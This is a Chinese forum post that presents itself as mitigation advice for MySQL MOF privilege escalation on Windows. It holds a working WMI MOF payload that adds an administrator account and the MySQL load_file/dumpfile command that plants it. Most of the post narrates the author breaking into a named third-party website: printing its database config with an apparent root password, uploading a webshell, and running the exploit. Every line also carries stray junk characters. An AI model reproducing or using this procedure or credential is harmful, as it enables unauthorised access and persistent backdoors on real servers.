Mysql mof扩展漏洞防范方法
- S5 ^1 n$ x1 Y9 q: O e" u+ Y/ K5 W! Z w' K0 I
网上公开的一些利用代码:! O$ B. r" H9 q. ?
& ^' y; k. |' R
#pragma namespace(“\\\\.\\root\\subscription”)/ v a$ G+ f$ E- c) y
* ]" W; d' n, @! B: j$ linstance of __EventFilter as $EventFilter { EventNamespace = “Root\\Cimv2″; Name = “filtP2″; Query = “Select * From __InstanceModificationEvent ” “Where TargetInstance Isa \”Win32_LocalTime\” ” “And TargetInstance.Second = 5″; QueryLanguage = “WQL”; }; instance of ActiveScriptEventConsumer as $Consumer { Name = “consPCSV2″; ScriptingEngine = “JScript”; ScriptText = “var WSH = new ActiveXObject(\”WScript.Shell\”)\nWSH.run(\”net.exe user admin admin /add\”)”; }; instance of __FilterToConsumerBinding { Consumer = $Consumer; Filter = $EventFilter; };8 G2 a9 Z& V# L8 {) G
8 B$ Q2 P3 G: _/ v
V& d8 O' I( b* G$ y# w/ z3 l( R$ _6 j9 z; L
+ k: |4 A5 A6 {! n
$ {. u; `7 z3 B l) b+ J1 \. q, H* J连接mysql数据库后执行: select load_file(‘C:\\RECYCLER\\nullevt.mof’) into dumpfile ‘c:/windows/system32/wbem/mof/nullevt.mof’;
: e( v+ O# R5 p+ C7 G从上面代码来看得出解决办法:
8 ?! |9 R# S! ?5 h7 _
n7 g$ ]5 e; Y+ e8 ~1、mysql用户权限控制,禁止 “load_file”、”dumpfile”等函数+ q* N+ B, o+ a1 o b9 z+ j
/ d2 p9 i, \: W6 X9 M
2、禁止使用”WScript.Shel”组件# |1 B& K8 t2 U& q
% N; r _; ? W3、目录权限c:/windows/system32/wbem/mof/ 删除内置特殊组CREATOR OWNER
0 ~8 u1 J( T5 r
5 H$ e! H* h7 l( D4 S# Q4 Z( z5 l! D当然上面是网上说的 感觉需要的权限很大 比如 root 还有mysql外链昨天碰到了就给大家演示下
( b$ B, x# u( R& a
4 U0 Z" z- x' U. ~事情是这样发生的 一机油在论坛提问我就看了下 发现已经有大牛搞下了 说是用是 mysql mof扩展提权
5 M/ F9 k$ o" J) C! ?3 p% i* v3 R5 U. N" E1 r4 y9 N
但是小菜发现没有听过于是赶紧去查资料学习…就有了上面的来着网上的内容
! t+ ^. x# k' E
: F2 K9 {* o9 k @/ [看懂了后就开始练手吧: C" Q! w- h/ b' _ m, q" o7 }4 b
1 c( E; h: _0 W; t5 X
http://www.webbmw.com/config/config_ucenter.php 一句话 a
* H a1 P8 [) j5 b5 w( W2 h1 w# F9 o) ]" ~& _& q P! A( i5 p1 b
$_config['db']['1']['dbhost'] = ‘localhost’; $_config['db']['1']['dbuser'] = ‘root’; $_config['db']['1']['dbpw'] = ‘tfr226206′; $_config['db']['1']['dbcharset'] = ‘gbk’; $_config['db']['1']['pconnect'] = ’0′; $_config['db']['1']['dbname'] = ‘webbmw’; $_config['db']['1']['tablepre'] = ‘pre_’; $_config['db']['common']['slave_except_table'] = ”; 有root密码啊。" U8 E" S& a) f6 R" i
! t Z+ c @8 [2 U- @" [
于是直接用菜刀开搞
R: n+ I! W/ c9 t7 n: c( s6 B: I( c
上马先
! j8 _8 h. ?6 P. {
X' ?7 K9 P& b; f既然有了那些账号 之类的 于是我们就执行吧…….# e. m: P/ q& I9 W$ [
! m; H+ C f, b1 s5 Q8 E& w* ?; J小小的说下
) e9 n3 M6 g& N9 b- Y0 w0 H
" h) S, }$ C' ^- I7 s; W2 C在这里第1次执行未成功 原因未知
! j7 m# _% \& g8 d- g3 \- A
* l% t7 |7 \3 N我就猜想是否是因为我们执行的代码有问题 于是我就去我wooyun找的代码。
. ?; X- u0 i( \' K2 u
( I* {( M9 v" t j6 Q$ G- K( y#pragma namespace(“\\\\.\\root\\subscription”)
/ U: S% }5 W) |( U5 i$ L$ q9 M: L" @# e+ Y1 O( R* U4 l
instance of __EventFilter as $EventFilter { EventNamespace = “Root\\Cimv2″; Name = “filtP2″; Query = “Select * From __InstanceModificationEvent ” “Where TargetInstance Isa \”Win32_LocalTime\” ” “And TargetInstance.Second = 5″; QueryLanguage = “WQL”; }; instance of ActiveScriptEventConsumer as $Consumer { Name = “consPCSV2″; ScriptingEngine = “JScript”; ScriptText = “var WSH = new ActiveXObject(\”WScript.Shell\”)\nWSH.run(\”net.exe user test test /add\”)”; }; instance of __FilterToConsumerBinding { Consumer = $Consumer; Filter = $EventFilter; };4 `+ E( B V( L/ P( ^9 b
; C/ F8 X5 k0 p5 j7 q
我是将文件放到C:\WINDOWS\temp\1.mof
" N% y- Z0 j4 ~
? }8 @/ Z2 X; a1 L所以我们就改下执行的代码: d4 {8 ]8 s5 a
# y; l( a6 n) @# q4 G- T5 z9 w
select load_file(‘C:\WINDOWS\temp\1.mof‘) into dumpfile ‘c:/windows/system32/wbem/mof/nullevt.mof’;
& o- c. c# J6 V) U) h
5 L& ]4 d# m; [9 T% d: y- z* a' F( L- f
3 s( j% J8 Y8 v4 ?
但是 你会发现账号还是没有躺在那里。。
, v" A8 Y, {4 }/ H- g+ R$ N0 j
9 s1 p0 h. V" ~1 o于是我就感觉蛋疼
) ]" [+ x) G; Z8 R# _) z% I+ o- l
2 q! w3 u$ e# O5 f3 u% f: M4 K就去一个一个去执行 但是执行到第2个 mysql时就成功了………
) x# w/ `% \3 P$ O1 x @: T; ?6 n4 S' V$ \ F
/ D! l" ^& i6 s
" ^. C7 s% T0 i" N- S( q但是其他库均不成功…
9 }2 w# }' p* _$ ]. \0 I" B1 R& U' _ }5 h* S- E& ~
我就很费解呀 到底为什么不成功求大牛解答…) Q6 X5 K5 J1 Q; O" z
( ?& Y5 v: H @6 A: h
7 I( J) x$ Q! F) E' a
8 r7 v6 u( T" ^- U/ j: V' ~ |